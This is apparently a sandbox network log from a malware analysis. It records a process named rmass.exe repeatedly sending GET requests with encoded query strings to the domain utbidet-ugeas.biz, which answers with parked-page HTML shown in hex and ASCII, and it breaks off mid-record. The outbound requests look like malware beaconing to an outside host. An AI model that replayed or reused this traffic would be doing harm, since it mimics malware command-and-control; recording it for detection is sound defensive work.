Jan 5, 2025 10:48:25.494327068 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZTgwZGMxOTYtZTg2MC00NmMwLTlhNzktOWQzMzY5NjQzMTFiIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	58662	199.59.243.228	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:26.631295919 CET	169	OUT	GET /d/N?02CAD354C4CAD354C4E4D378C4CAD37C7CCEFF7600CBD3946CC8D762EAF8FD6DF6FAE37AC4 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:27.103003979 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:26 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 1765865b-d900-4f16-9aa0-b7716b691eb1 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_pBQpfQeL4DGzSqaQxmAamNwzPiakYG0GN3zImghgyjqy2g7C7gQN6SlshlshVhXMzoOXz3w7SFy8Re13HEqq8A== set-cookie: parking_session=1765865b-d900-4f16-9aa0-b7716b691eb1; expires=Sun, 05 Jan 2025 10:03:27 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 70 42 51 70 66 51 65 4c 34 44 47 7a 53 71 61 51 78 6d 41 61 6d 4e 77 7a 50 69 61 6b 59 47 30 47 4e 33 7a 49 6d 67 68 67 79 6a 71 79 32 67 37 43 37 67 51 4e 36 53 6c 73 68 6c 73 68 56 68 58 4d 7a 6f 4f 58 7a 33 77 37 53 46 79 38 52 65 31 33 48 45 71 71 38 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_pBQpfQeL4DGzSqaQxmAamNwzPiakYG0GN3zImghgyjqy2g7C7gQN6SlshlshVhXMzoOXz3w7SFy8Re13HEqq8A==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:27.103039026 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTc2NTg2NWItZDkwMC00ZjE2LTlhYTAtYjc3MTZiNjkxZWIxIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	58664	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:27.693906069 CET	169	OUT	GET /d/N?0254C7CC2154C7CC217AC7E02154C7E49950EBEEE555C70C8956C3FA0F66E9F51364F7E221 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:28.133734941 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:27 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 4799ba51-4259-4682-a57a-489de39e4959 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_xG3b4CrP4dgzpOOxLOw6OTtZ/QKpcOLnsekp3aL39WPjNWr09+eopv/ScB10ova83NZOTQf9UOCnLYWytPYDAQ== set-cookie: parking_session=4799ba51-4259-4682-a57a-489de39e4959; expires=Sun, 05 Jan 2025 10:03:28 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 78 47 33 62 34 43 72 50 34 64 67 7a 70 4f 4f 78 4c 4f 77 36 4f 54 74 5a 2f 51 4b 70 63 4f 4c 6e 73 65 6b 70 33 61 4c 33 39 57 50 6a 4e 57 72 30 39 2b 65 6f 70 76 2f 53 63 42 31 30 6f 76 61 38 33 4e 5a 4f 54 51 66 39 55 4f 43 6e 4c 59 57 79 74 50 59 44 41 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_xG3b4CrP4dgzpOOxLOw6OTtZ/QKpcOLnsekp3aL39WPjNWr09+eopv/ScB10ova83NZOTQf9UOCnLYWytPYDAQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:28.133749962 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDc5OWJhNTEtNDI1OS00NjgyLWE1N2EtNDg5ZGUzOWU0OTU5IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	58666	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:28.657963991 CET	169	OUT	GET /d/N?02C0CC10F4C0CC10F4EECC3CF4C0CC384CC4E03230C1CCD05CC2C826DAF2E229C6F0FC3EF4 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:29.127479076 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:28 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 7bb522f2-da08-49d9-96b3-002086d1734e cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Rev6fnfYSw/NrMh+1LLGZlBlw9u2sq25qYkt0IixYDQwb7IuS+5+oUoEWNBaDszOWgA+GYZhLF2935p1FcOpyQ== set-cookie: parking_session=7bb522f2-da08-49d9-96b3-002086d1734e; expires=Sun, 05 Jan 2025 10:03:29 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 52 65 76 36 66 6e 66 59 53 77 2f 4e 72 4d 68 2b 31 4c 4c 47 5a 6c 42 6c 77 39 75 32 73 71 32 35 71 59 6b 74 30 49 69 78 59 44 51 77 62 37 49 75 53 2b 35 2b 6f 55 6f 45 57 4e 42 61 44 73 7a 4f 57 67 41 2b 47 59 5a 68 4c 46 32 39 33 35 70 31 46 63 4f 70 79 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Rev6fnfYSw/NrMh+1LLGZlBlw9u2sq25qYkt0IixYDQwb7IuS+5+oUoEWNBaDszOWgA+GYZhLF2935p1FcOpyQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:29.127494097 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiN2JiNTIyZjItZGEwOC00OWQ5LTk2YjMtMDAyMDg2ZDE3MzRlIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	58668	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:29.285300970 CET	169	OUT	GET /d/N?02C3F8676AC3F8676AEDF84B6AC3F84FD2C7D445AEC2F8A7C2C1FC5144F1D65E58F3C8496A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:29.758775949 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:29 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 56d68594-6e1c-495d-b41e-4d95d49033e6 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_tgOGeW57LjLxfc7BI4MX7xMJDO7RUKMsT9fCNyKgYPLo3J67jhdPGtNwTHPCLAHFW0ny5cbLuf1OaFcplgHbqw== set-cookie: parking_session=56d68594-6e1c-495d-b41e-4d95d49033e6; expires=Sun, 05 Jan 2025 10:03:29 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 74 67 4f 47 65 57 35 37 4c 6a 4c 78 66 63 37 42 49 34 4d 58 37 78 4d 4a 44 4f 37 52 55 4b 4d 73 54 39 66 43 4e 79 4b 67 59 50 4c 6f 33 4a 36 37 6a 68 64 50 47 74 4e 77 54 48 50 43 4c 41 48 46 57 30 6e 79 35 63 62 4c 75 66 31 4f 61 46 63 70 6c 67 48 62 71 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_tgOGeW57LjLxfc7BI4MX7xMJDO7RUKMsT9fCNyKgYPLo3J67jhdPGtNwTHPCLAHFW0ny5cbLuf1OaFcplgHbqw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:29.758806944 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNTZkNjg1OTQtNmUxYy00OTVkLWI0MWUtNGQ5NWQ0OTAzM2U2IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	58670	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:31.865751028 CET	169	OUT	GET /d/N?02F6C24BFAF6C24BFAD8C267FAF6C26342F2EE693EF7C28B52F4C67DD4C4EC72C8C6F265FA HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:32.331988096 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:32 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: b5545504-2ecf-4eec-b397-f8289ed284e9 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_AijjHzR1sFrHDhYsr4OJCCnXBjQqin59E082iQrMQyKsAi2Md8dJTwA/9ivKIYRcRFoQ07/DGSvEEEMkxnQsWQ== set-cookie: parking_session=b5545504-2ecf-4eec-b397-f8289ed284e9; expires=Sun, 05 Jan 2025 10:03:32 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 41 69 6a 6a 48 7a 52 31 73 46 72 48 44 68 59 73 72 34 4f 4a 43 43 6e 58 42 6a 51 71 69 6e 35 39 45 30 38 32 69 51 72 4d 51 79 4b 73 41 69 32 4d 64 38 64 4a 54 77 41 2f 39 69 76 4b 49 59 52 63 52 46 6f 51 30 37 2f 44 47 53 76 45 45 45 4d 6b 78 6e 51 73 57 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_AijjHzR1sFrHDhYsr4OJCCnXBjQqin59E082iQrMQyKsAi2Md8dJTwA/9ivKIYRcRFoQ07/DGSvEEEMkxnQsWQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:32.332016945 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYjU1NDU1MDQtMmVjZi00ZWVjLWIzOTctZjgyODllZDI4NGU5IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	58672	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:33.068970919 CET	169	OUT	GET /d/N?02E997175EE997175EC7973B5EE9973FE6EDBB359AE897D7F6EB932170DBB92E6CD9A7395E HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:33.516010046 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:33 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 1cf2c9ec-59f7-4db2-8df0-a91c11b53f6e cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_BjIjiy5H90r22HDA31E4jdH6lYAekvMf1DUGzxxQj74lYwNU9VdSKXgz1xn7J8OgiG7ZqE8GeQ6T1bl+elTy7w== set-cookie: parking_session=1cf2c9ec-59f7-4db2-8df0-a91c11b53f6e; expires=Sun, 05 Jan 2025 10:03:33 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 42 6a 49 6a 69 79 35 48 39 30 72 32 32 48 44 41 33 31 45 34 6a 64 48 36 6c 59 41 65 6b 76 4d 66 31 44 55 47 7a 78 78 51 6a 37 34 6c 59 77 4e 55 39 56 64 53 4b 58 67 7a 31 78 6e 37 4a 38 4f 67 69 47 37 5a 71 45 38 47 65 51 36 54 31 62 6c 2b 65 6c 54 79 37 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_BjIjiy5H90r22HDA31E4jdH6lYAekvMf1DUGzxxQj74lYwNU9VdSKXgz1xn7J8OgiG7ZqE8GeQ6T1bl+elTy7w==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:33.516024113 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMWNmMmM5ZWMtNTlmNy00ZGIyLThkZjAtYTkxYzExYjUzZjZlIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	58674	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:33.672561884 CET	169	OUT	GET /d/N?0248AF579F48AF579F66AF7B9F48AF7F274C83755B49AF97374AAB61B17A816EAD789F799F HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:34.146272898 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:33 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 9c2a497a-804c-43a9-a288-d00210065b26 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_jiVMbBn1bQjf32DuZm9FrppOkxGSieHkkQ8PyXgTRJ7dXLGDh1ep7OcFHw2gQoNWwTYcgoUOYlxrSVglBsZt9Q== set-cookie: parking_session=9c2a497a-804c-43a9-a288-d00210065b26; expires=Sun, 05 Jan 2025 10:03:34 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 